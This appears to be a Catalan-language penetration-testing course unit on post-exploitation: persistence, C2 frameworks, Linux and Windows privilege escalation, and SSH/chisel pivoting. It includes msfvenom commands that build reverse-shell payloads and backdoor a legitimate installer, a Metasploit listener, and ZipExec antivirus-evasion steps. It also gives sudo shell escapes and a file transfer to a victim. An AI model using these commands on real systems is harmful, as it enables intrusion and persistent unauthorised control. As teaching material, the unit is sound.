HE

Unitat 6: Persistència, escalada i pivotatge

.

Persistència, escalada i pivotatge

Totes les pràctiques d'este curs es realitzaran baix:

  • ⚖️ Un marc legal i ètic
  • 🔒 Entorn aïllat
  • 🧪 Controlat
  • 📜 Amb permís
  • 🎓 Fins educatius / professionals

Tècniques persistència

Les tècniques de persistència fan referència als mètodes que un atacant utilitza per mantenir l’accés a un sistema durant el temps, fins i tot després de reinicis, canvis de credencials o intents de neteja. Tot açò, sense tindre que realitzar tot el procés d'explotació inicial cada vegada.

Eines C&C (C2)

MITRE defineix les accions de comanda i control (C2), com a tècniques per a comunicar-se amb els sistemes abans compromesos i evitar ser detectats.

Recordem MITRE i Ciber Kill Chain i en wikipedia

  • Utilitzar protocols de comunicació habituals
  • Utilitzar / infectar mitjans extraibles
  • Emprar encriptació i ofuscació

Les ferramentes de C2 (Command & Control) són plataformes que permeten a un operador controlar màquines compromeses de forma centralitzada. S’utilitzen en red teaming, pentesting i també en malware real.

Alguns frameworks C2 ..

  1. Cobalt Strike (W)
  2. Covenant (W)
  3. Empire (W, powershell)
  4. Havoc (W)
  5. ibombshell (Linux)
  6. Sliver (multi)
  7. Mythic (multi)
  8. Villain (framework de gestió de sessions)
  9. i més .....
Es pot consultar la matriu de C2 en https://c2matrix.webflow.io/matrix i en https://howto.thec2matrix.com/
    Components habituals d'una plataforma C2
  • Servidor C2
  • stager (payload molt xicotet)
  • agents (beacon, implant)
  • listeners
  • payloads
    Flux complet d’un atac amb C2
  1. Crear payload (amb stager)
  2. Fer arribar el payload a la víctima i executar-lo
  3. Stager connecta a C2 i descarrega el agent complet
  4. agent comença el beaconing
  5. Operador envia el tasking
  6. agent executa ordres rebudes i envia resultats
    Avantatges de C2
  • Control centralitzat de múltiples víctimes
  • Automatització de tasques
  • Comunicació encoberta (amb diversos protocols estandards, http, https, dns, icmp, smb, ...)
  • Gestió de sessions
  • RCE . Execució remota de comandes
  • Moviment lateral, pivoting
  • Persistència integrada
  • Exfiltració de dades
  • Gestiló d'equips
    Inconvenients de C2
  • Com són conegudes, són més fàcil de detectar
  • Infraestructura més complexa
  • Possible rastreig del servidor C2
  • Consum de recursos en els agents i risc de detecció

Mòduls de postexplotació de Metasploit

    Recopilació d'informació local
  1. post/multi/recon/local_exploit_suggester
  2. post/multi/gather/env
  3. post/multi/gather/firefox_creds
  4. post/multi/gather/ssh_creds
  5. post/multi/gather/checkvm
  6. post/windows/gather/credentials/credential_collector
  7. post/windows/gather/enum_applications
  8. post/windows/gather/enum_shares
    Manteniment de l'accés
  1. Amb meterpreter
  2. exploit/windows/local/persistence
  3. keyscan_start
  4. keyscan_dump
  5. exploit/multi/handler + payload
    Escalada de privilegis
  1. getsystem de Meterpreter
  2. exploit/[windows|linux]/local
    Pivotage en la xarxa
  1. autoroute
  2. portfwd

Formes de mantindre la persistència en Linux

  • 1️⃣ cron normal
  • 2️⃣ cron ocult (/etc/cron.d)
  • 3️⃣ SSH keys
  • 4️⃣ .bashrc
  • 5️⃣ systemd service
  • 6️⃣ systemd timer

Formes de mantindre la persistència en Windows

  • 1️⃣ Registry Run Keys
  • 2️⃣ Startup Folder
  • 3️⃣ Scheduled Tasks
  • 4️⃣ Windows Services
  • 5️⃣ Crear usuari amb perfil d'administrador
  • i més .....

CRON

Què és cron

cron és el sistema de planificació de tasques en sistemes Unix/Linux. Permet executar ordres o scripts automàticament en moments determinats. És molt utilitzat en administració de sistemes. El servei que gestiona això és Cron, que funciona com un daemon (procés que s’executa en segon pla).

Com funciona cron

El procés cron està sempre executant-se en segon pla i fa aquest cicle: 1️⃣ Llegeix les configuracions de tasques programades 2️⃣ Comprova cada minut si alguna tasca s’ha d’executar 3️⃣ Si coincideix el temps → executa la comanda És a dir, cron revisa el temps cada minut

On es defineixen les tasques que executarà cron

segons...cron d'usuari o cron de sistema

Cron de l’usuari: Cada usuari pot tenir el seu propi cron.

       # es modificarà amb la comanda:
crontab -e
Aquest fitxer es guarda internament a:
/var/spool/cron/crontabs

Nota: El cron d’un usuari s’executa encara que l’usuari no faça login, sempre que el servei Cron estiga actiu en el sistema Linux.

Cron del sistema: També hi ha cron globals:

/etc/crontab
/etc/cron.d/
/etc/cron.hourly/
/etc/cron.daily/
/etc/cron.weekly/
/etc/cron.monthly/  

Format d’una línia de cron (d'usuari)

Cada tasca té 5 camps de temps + la comanda.

* * * * * comanda
│ │ │ │ │
│ │ │ │ └── dia setmana
│ │ │ └──── mes
│ │ └────── dia mes
│ └──────── hora
└────────── minut  

Existeix un cron especial anomenat @reboot que executa una tasca quan el sistema arranca. Exemple:

@reboot /home/user/script.sh  

Format d’una línia de cron (de sistema)

En els fitxers dels directoris: /etc/crontab, /etc/cron.d/, /etc/cron.hourly/ Cada tasca té 5 camps de temps + usuari + la comanda.

* * * * * usuari comanda

Exemples de configuracions

*/5 * * * * /usr/bin/backup.sh
 └──── Significa:  executar cada 5 minuts
0 2 * * * /usr/bin/backup.sh
  └────  Significa: executar cada dia a les 02:00
0 9 * * 1
        └────  Significa: cada dilluns a les 09:00

Veure cronjobs (d'usuari)

crontab -l

Editar cronjobs (d'usuari)

crontab -e

Eliminar (d'usuari)

crontab -r

==> Els cronjobs de sistema s'han d'editar a ma...

Comprovar que cron funciona

systemctl status cron

Logs de cron

/var/log/syslog

Coses a tindre en compte quan es programa cron

cron necessita el path complet en la linea

* * * * * python script.py
  ==>  falla:  Cron pot no trobar python.
Solució
* * * * * /usr/bin/python /home/user/script.py  

- Els scipts necessiten permís d'execució

- No pot haver salts de linea en una ordre del fitxer

- Dins dels scripts també s'han de posar les rutes completes

Creació de malware

Per obtindre accés a una màquina i mantindre la persistència en ella s'empren diverses tècniques. Una de les més habituals és la instal·lació de backdoors o portes darreres. Per a este fi, es crea un malware ad-hoc, per intentar evadir els antivirus en la màquina víctima.

La creació de malware és una tasca difícil. Es pot aprofundir en el tema en el repositori Awesome Malware Developement, en GitHub de rootkit-io

msfvenom

Forma part del framework de metasploit, però funciona de manera independent. S'empra per generar payloads, xifrar-los, codificar/ofuscar, i acoblar el payload a un binari legítim.

Per generar un malware hi ha diferents elements a tindre en compte: payloads, Encoders, nops, platforms, archs, encrypt i formats. Es pot consultar una llista de cada mòdul amb l'opció -l o --list

$ msfvenom -l [payloads | Encoders | nops | platforms | archs | encrypt | formats]
Primer exemple
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows lhost=192.168.56.8 lport=4444 -f exe > payload_sin_encriptar.exe  

El payload escollit pot tindre una gran quantitat d'opcions, i per consultar-les s'usa l'opció --list-options

msfvenom -p windows/meterpreter/reverse_tcp --list-options

El següent pas és fer arribar el binari a la víctima, obrir un listener en l'equip atacant, i esperar que l'usuari caiga en la trampa..

Es pot posar el listener en metasploit amb el mòdul exploit/multi/handler i el mateix payload que s'ha carregat en el binari.

msf> 
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp 
set lhost 192.168.56.8
set lport 4444
run

Quan l'usuari execute el binari, el metasploit obri un meterpreter...

És possible que el defender de windows detecte i bloquege el binari, per tant, per fer proves, s'haurà de desactivar el defender en la màquina windows.

Es poden usar diferents encoders en el nostre payload per tractar d'evitar les posibles proteccions en les màquines víctimes. Els encoders s'indicaran amb l'opció -e en msfvenom

-e x86/shikata_ga_nai -i 5

En lloc de generar el nostre propi binari, es pot fer servir msfvenom per incrustar el nostre payload en un programa legítim. Amb l'opció -x o --template, s'indicarà la ruta a l'executable que es desitja usar com plantilla. Amb l'opció -k o --keep, es manté el comportament del binari legítim i el payload es llançarà com un nou fil d'execució.

# Exemple
# Primer s'ha de baixar l'executable des de la pàgina oficial....
# Després es backdooritza !!
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.56.8 lport=4444 -x notepad++.exe -k -f exe -a x86 --platform windows -e x86/shikata_ga_nai -i 5 -o evil-putty.exe
# També es pot ometre "-a x86 --platform windows " i que msfvenom busque 
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.56.8 lport=4444 -x notepad++.exe -k -f exe -e x86/shikata_ga_nai -i 5 -o evil-putty.exe

En este cas hem usat un payload de tipus single, cosa que permetrà manejar la connexió mitjançant un listener de netcat

nc -lnvp 4444

ZipExec

Desenvolupat com a PoC de que és possible executar binaris emmagatzemats en fitxers ZIP comprimits amb contrasenya, evitant així els antivirus, que no poden comprovar el contingut del fitxer

Per usar la ferramenta: Primer la compilem.

git clone https://github.com/Tylous/ZipExec.git 
cd ZipExec
go get github.com/yeka/zip 
go build ZipExec.go 
./ZipExec -h 

Ja tenim la ferramenta en el notre sistema. 

Ara a usar-la. El fitxer maliciós generat és un fitxer JavaScript que conté el binari comprimit i les comandes per regenerar este fitxer en disc i executar-lo

./ZipExec -I payload_sin_encriptar.exe -O shell-loader.js

Enviem el fitxer .js a la víctima i obrim un multi/handler en msf esperant que l'usuari pique..

msf> exploit(multi/handler) > run

Escalada privilegis en Linux

Existeixen molts mecanismes per a escalar privilegis en sistemes Linux. Alguns d'estos, els més bàsics, es voran en este apartat, com per exemple, l'escalada de privilegis a través de vulnerabilitats en el kernel de linux, a través de tasques programades, usant binaris amb privilegis de sudo o binaris SUID.

Però abans d'emprar algun d'estos mecanismes, és necessari conéixer els diferents comandos i scripts per fer una enumeració local i trobar el millor camí fins a una shell privilegiada.

Per practicar estos conceptes i altres més avançats, poden usar-se alguns dels laboratoris gratuits d'escalada de privilegis en Linux disponibles en TryHackMe, i entre estos, un elaborat per TCM (The Cyber Mentor), que inclou vídeos explicatius en youtube. (The Cyber Mentor. Linux privilege Escalation for Beginners) . Laboratoris en https://TryHackMe.com/room/linuxprivesc linprivesc linuxprivescarena

Enumeració local en Linux

L'enumeració local consistix en obtenir la quantitat més gran d'informació del sistema per tractar de trobar elements vulnerables, que permeten escalar privilegis a un compte amb permisos d'administració.

Enumeració Manual

hostname
uname -a 
ifconfig   o  ip a 

netstat -tpln
/etc/hosts   i  sites-available 
/proc 
ps -ef --forest
crontab -l    i   /etc/crontab 

/var/www   --on es situa les app Web
wp-config.php 
/etc/passwd    -- per saber usuaris i Grups
/home          -- altres usuaris

id    history   env    sudo -l   

find / -type f -perm 0777 2>/dev/null
find / -type f -name ".*"
find / -type f -readable     find / -type d -readable
find / -type f -writable     find / -type d -writable
find / -perm a=x 
find / -type f -perm -u=s 
find / -type f -perm  -g=s     

Enumeració automàtica

Existeixen multitud de ferramentes que realitzen l'execucio dels comandes anteriors ( i molts altres) de manera automàtica, i ens presenten una gran quantitat d'informació.

LinPEAS (WinPEAS )

Un script en bash que es manté actualitzat casi setmanalment. És la ferramenta més usada actualment. Té una versió per a Windows (WinPEAS), i formen part d'una suite anomenada PEASS-ng (Privilege Escalation Awesome Scripts Suite new generation)

Linux Smart Enumeration - LinEnum

Una altra ferramenta en bash basada en l'anterior, que actualment no es troba mantenida.

Linux Exploit Suggester

Ferramenta específica per buscar exploits per la versió del kernel que s'està executant en el SO.

pspy

unprivileged Linux process snooping. Permet vore en els processos del sistema sense tindre privilegis de root.

Normalment, per veure tots els processos del sistema necessitaries ser administrador, però pspy ho fa d'una manera alternativa. En lloc d'usar APIs privilegiades, pspy llegeix directament el sistema de fitxers /proc de Linux, que conté informació sobre tots els processos en execució. Ho fa de forma contínua i ràpida per capturar fins i tot processos de molt curta durada.

Permet detectar tasques programades (crons) que s'executen com a root, de vegades els processos s'executen amb contrasenyes o tokens com a arguments a la línia de comandes, i pspy els captura. pspy pot veeure quins processos s'executen periòdicament sense haver d'accedir a /etc/cron* directament

Pspy és un projecte de codi obert allotjat a GitHub. El pots trobar aquí: https://github.com/DominicBreuker/pspy

Per fer servir pspy el flux habitual és baixar-lo primer a la teva màquina atacant i després transferir-lo a la màquina víctima. Després donar-li permisos d'execució (a la màquina víctima) i executar-lo

Una forma ràpida de transferir-lo a la víctima és muntar un servidor HTTP des de la teva màquina amb

# A la teva màquina atacant
python3 -m http.server 8080

# A la màquina víctima
wget http://LA_TEVA_IP:8080/pspy64     

Escalada amb el kernel

    Algunes vulnerabilitats històriques del kernel de Linux
  • Dirty COW (CVE-2016-5195)
  • Dirty Pipe (CVE-2022-0847)
  • Sudo Baron Samedit (CVE-2021-3156)
  • OverlayFS (CVE-2021-3493)
  • PwnKit (CVE-2021-4034)
  • CVE-2022-47939 sobre servei ksmbd (servidor samba)
  • i més....

No s'ha de perdre de vista este tipus de vulnerabilitats de kernel, perquè molts sistemes no estan actualitzats i poden tindre forats de seguretat oberts

Escalada amb sudo

Que és sudo

sudo (superuser do) és una eina que permet a usuaris normals executar comandes amb privilegis elevats (normalment com a root), de manera controlada i auditada.

És el mètode recomanat per a administració segura a Linux.

El fitxer sudoers defineix: Qui pot usar sudo, Quines comandes , Com (amb o sense contrasenya), Com a quin usuari

📍 Ubicació habitual: /etc/sudoers

⚠️ No s’ha d’editar mai directament amb editors normals.

visudo és l’eina segura per editar el fitxer sudoers.

Es pot ampliar informació en l'article "Linux Fundamentals: A to Z of a Sudoers File" en https://medium.com/kernel-space/linux-fundamentals-a-to-z-of-a-sudoers-file-a5da99a30e7f

-- Per afegir un usuari al grupo de sudoers (sudo)
    sudo usermod -aG sudo 'nomusuari'

Exemple de linea de sudoers

usuari_o_grup hosts = (usuari_execució:grup_execució) opcions comandes
alice ALL=(ALL) ALL 

Què vol dir?
alice → l’usuari
ALL → des de qualsevol host
(ALL) → pot executar com a qualsevol usuari (normalment root) . (root:root) especificant usuario i grup
ALL → pot executar qualsevol comanda , o posar una comanda concreta

usuari alice o grup %admin

Com saber quins binaris estan autoritzats

sudo -l

i a continuació , si hi ha algun comando permés, buscar la forma de explotar-lo, en GTFOBINS, per a linux

Per executar un comando amb un altre usuari

sudo -u nomusu nomcomando

La web GTFOBins conté un llistat dels binaris presents en sistemes operatius *nix que poden ser usats per a escalar privilegis en cas que s'hagen configurat erròniament.

Per exemple:  vi 
      sudo vi -c ':!/bin/sh' /dev/null
      sudo vim -c ':!/bin/sh'
      

Escalada amb SUID/SGID

El bit SUID Set-User-ID és un mecanisme de permisos de Linux/Unix que permet que un programa s’execute amb els privilegis del propietari del fitxer, i no amb els de l’usuari que l’executa.

Com identificar-lo

-rwsr-xr-x 
  # Exemple
ls -la /usr/bin/passwd
-rwsr-xr-x 1 root root 64152 may 30  2024 /usr/bin/passwd   
Com assignar el bit SUID
chmod u+s /path_to_binary 

🧮 Valor numèric del Bit SUID: 4000

Com trobar fitxers amb este bit

find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 2>/dev/null        
find / -type f -perm -4000 2>/dev/null
find / -user root -perm -4000 2>/dev/null
find / -perm -4000 -exec ls -l {} \; 2>/dev/null     

El bit SGID Set Group ID és un permís especial de Linux/Unix que fa que un fitxer o directori herete el grup, en lloc d’utilitzar el grup de l’usuari que l’executa o crea fitxers. És molt semblant al setuid, però actua sobre el grup.

El SGID pot aplicar-se a: 1. Fitxers executables 2. Directoris. I el seu comportament canvia segons el cas.

SGID en fitxers executables

Quan un executable té SGID activat: El programa s’executa amb els privilegis del grup propietari

SGID en directoris (ús molt habitual)

Quan un directori té SGID: Tots els fitxers creats dins hereten el grup del directori

Com identificar-lo

-rwxr-sr-x  
Com assignar el bit SGID
    chmod g+s /path_to_binary 
    chmod g+s /path_to_directory 
  # Exemple
ls -la /usr/bin/crontab 
-rwxr-sr-x 1 root crontab 39664 mar 31  2024 /usr/bin/crontab 

🧮 Valor numèric del Bit SGID: 2000

Com trobar fitxers amb este bit

find / -perm -g=s -type f 2>/dev/null
find / -perm -2000 2>/dev/null
find / -type f -perm -2000 2>/dev/null
find / -user root -perm -2000 2>/dev/null
find / -perm -2000 -exec ls -l {} \; 2>/dev/null     

🧷 El Sticky Bit és un permís especial de Linux/Unix que s’utilitza principalment en directoris per evitar que els usuaris esborren o modifiquen fitxers que no són seus, encara que tinguin permisos d’escriptura al directori. És un mecanisme clau de seguretat multiusuari.

Quan el Sticky Bit està activat en un directori: Només poden esborrar o renombrar un fitxer: 1. el propietari del fitxer 2. el propietari del directori 3. o root

Com identificar-lo

drwxrwxrwt  

🧮 Valor numèric del Sticky Bit: 1000

Com trobar fitxers amb este bit

find / -perm -1000 2>/dev/null
find / -type d -perm /1000 2>/dev/null
    
  # Exemple
ls -ld /var/tmp
drwxrwxrwt 11 root root 4096 mar  6 15:25 /var/tmp
    

Escalada

Conieixent este mecanisme es podrà fer una escalada de privilegis local a través d'estos binaris, de forma similar a la explicada en sudo.

La web GTFOBins també té informació sobre com utilitzar els binaris mal configurats.

Escalada amb tasques programades

Les tasques programades amb cron permeten executar comandes o scripts automàticament a Linux/Unix segons un horari definit. És una eina fonamental d’administració de sistemes, però també rellevant en seguretat i auditoria.

⏰ Què és cron?

cron és un dimoni del sistema que: S’executa en segon pla, Llegeix fitxers de configuració (crontabs), Llança tasques a hores, dates o intervals concrets: 👉 Ideal per a backups, manteniment, monitoratge i automatització.

📄 Què és un crontab?

Un crontab és un fitxer que conté les tasques programades. Cada usuari pot tenir el seu propi crontab, i també n’hi ha de sistema.

Crontab d'usuari

S'edita amb crontab -e

Crontab de sistema

Ubicacions habituals:
/etc/crontab
/etc/cron.d/
/etc/cron.hourly/
/etc/cron.daily/
/etc/cron.weekly/
/etc/cron.monthly/        

Alguns problemes comuns que permeteixen l'explotació:

  • Permisos d'escriptura en l'scrip
  • Variable d'entorn PATH
  • Si el PATH conté la ruta al home, primer que la ruta dels binaris, es podrà colocar en home un script maliciós amb el mateix nom del comando que s'execute en la tasca programada
  • Ús de comodins o "wildcards"

Escalada amb serveis

Si s'identifica un servei (com per exemple MySql) executant-se com a root, es podrien crear comandes des de dins de MySql, llançar-les, i estes seran executades amb permisos de root

HackTricks és una guia online de ciberseguretat ofensiva molt coneguda en el món del pentesting. El lloc HackTricks i en la secció corresponent a serveis és bàsicament un manual estructurat tipus “cheat-sheet + explicació” amb tècniques, exemples i notes pràctiques.

Escalada amb NFS (Network File System)

NFS permet compartir directoris entre sistemes Unix/Linux a través de la xarxa, de manera que un client pot muntar un directori remot com si fos local. És molt útil, però perillós si està mal configurat.

⚠️ Per què NFS pot provocar escalada de privilegis?

NFS confia en els UID i GID del sistema client. Això vol dir que: Si el client diu “sóc root”, el servidor pot creure-s’ho si no s’apliquen restriccions adequades. Aquí és on apareix el risc.

Què s’avalua en una auditoria o pentest ?

  1. Quins directoris s’exporten
  2. Qui hi pot accedir
  3. Si existeixen restriccions d’usuari
  4. Si els directoris són utilitzats pel sistema
  5. Si hi ha controls addicionals

🛡️ Bones pràctiques de seguretat amb NFS

  1. Activar sempre root squashing
  2. Exportar només el necessari
  3. Limitar per IP o xarxa
  4. Evitar exportar directoris crítics
  5. Usar permisos estrictes
  6. Monitorar l’ús del servei
  7. Considerar alternatives més segures si cal

Escalada de privilegis en Windows

Enumeració local

Manualment es torna prou complicat, però hi ha moltes eines que faciliten el procés.

  1. WinPEAS
  2. JAWS
  3. SeatBelt
  4. SharpUP
  5. Metasploit Local Exploit Suggester
  6. Windows Exploit Suggester - Next Generation

Existeix també una pàgina similar a GTFOBins, però per a sistems Windows, anomenada LOLBAS.

Escalada amb el kernel

Hi ha molts exploits per al kernel de windows, molts dels quals es poden practicar en la màquina Metasploitable3, que es la versió Windows de Metasploitable.

Una de les vulnerabilitats més greus és la HiveNightmare o SeriusSAM (CVE-2021-36934) que permet llegir les claus de windows sense privilegis

Algunes ferramentes automatitzen el procés de bypass UAC

  • UACMe
  • UAC-a-mola

Escalada amb serveis

Es poden aprofitar serveis mal configurats que corren en permisos de SYSTEM per escalar privilegis

Principals problemes

  1. Permisos insegurs
  2. DLL Hijacking
  3. Path de servei sense cometes
  4. Permisos dèbils en registres
  5. Serveis executables insegurs

Uns dels serveis de windows on s'han trobat vulnerabilitats greus és el Print Spooler

  • PrintNighMare
  • SpoolFool
  • Potato Attacks

Escalada amb registres

Si la politica de seguretat AllwaysInstallElevated esta habilitada, qualsevol paquet .MSI s'executarà amb privilegis administratius

També s'ha de posar especial atenció als programes que s'executen en l'autoarranc, (autorun), que també s'executen amb privilegis administratius

Escalada amb tasques programades

Esta via d'escalat és similar a la explicada en entorns Linux

Servei Task Scheduler

Comando: schtasks, obte llista de les tasques programades

En Power Shell està Get-ScheduledTask

Tècniques de pivotatge

El pivotatge (pivoting) és una tècnica utilitzada quan: Ja tens accés a un sistema dins d’una xarxa, però vols arribar a altres sistemes que no són accessibles directament.

Aquest primer sistema compromès actua com a: pont o salt intermedi o pivot

📌 El pivotatge no és l’atac inicial, és post-explotació.

amb tunels SSH

Es crea un canal de comunicació encapsulat a través del sistema pivot.

El trànsit “viatja dins” d’un altre protocol, Permet evitar restriccions de xarxa, Molt comú en xarxes corporatives

Local Port Forwarding

El local port forwarding permet: Obrir un port a la teva màquina local que redirigeix el trànsit a un servei remot, a través d’un servidor intermedi (pivot).

És molt útil quan: Un servei no és accessible directament, però sí que és accessible des del servidor pivot

    Escenari d’exemple
  • (atacant / administrador): 127.0.0.1
  • Servidor pivot: pivot.company.local
  • Servei intern: Base de dades a 10.0.0.50:3306
  • El servei només és accessible des del pivot
Exemple de local port Forwarding
ssh -L 13306:10.0.0.50:3306 user@pivot.company.local 
  • -L : Indica local port forwarding
  • 13306 : Port local que s’obrirà a la teva màquina (tu et connectaràs a aquest port)
  • 10.0.0.50:3306 : Destí final intern ( IP interna, Port del servei (ex. MySQL))
  • user@pivot.company.local : Servidor intermedi (pivot) . És qui té accés a la xarxa interna

Remote Port Forwarding

El remote port forwarding permet: Obrir un port en el servidor remot que redirigeix el trànsit cap a un servei accessible des de la teva màquina local (o una altra màquina). És l’opció inversa del local port forwarding.

    Escenari d’exemple
  • La teva màquina local: té un servei web a 127.0.0.1:8080
  • Servidor remot: pivot.company.local
  • El servidor remot no pot accedir directament al teu servei local
  • Objectiu: exposar el teu servei local a través del servidor remot
Exemple de remote port Forwarding
ssh -R 9000:127.0.0.1:8080 user@pivot.company.local  
  • -R : Indica remote port forwarding
  • 9000 : Port que s’obrirà al servidor remot
  • 127.0.0.1:8080 : Destí local (127.0.0.1 → la teva màquina ) (8080 → el servei que ja està escoltant localment)
  • user@pivot.company.local : Servidor remot on es crea el port

👉 Qualsevol que accedisca a pivot.company.local:9000 , estarà accedint indirectament al teu servei local.

amb chisel

En la màquina kali es pot llançar en mode servidor

chisel server -p 9000 --reverse

En la màquina client

chisel client 10.0.1.7:9000 R:8000:127.0.0.1:8000

Laboratoris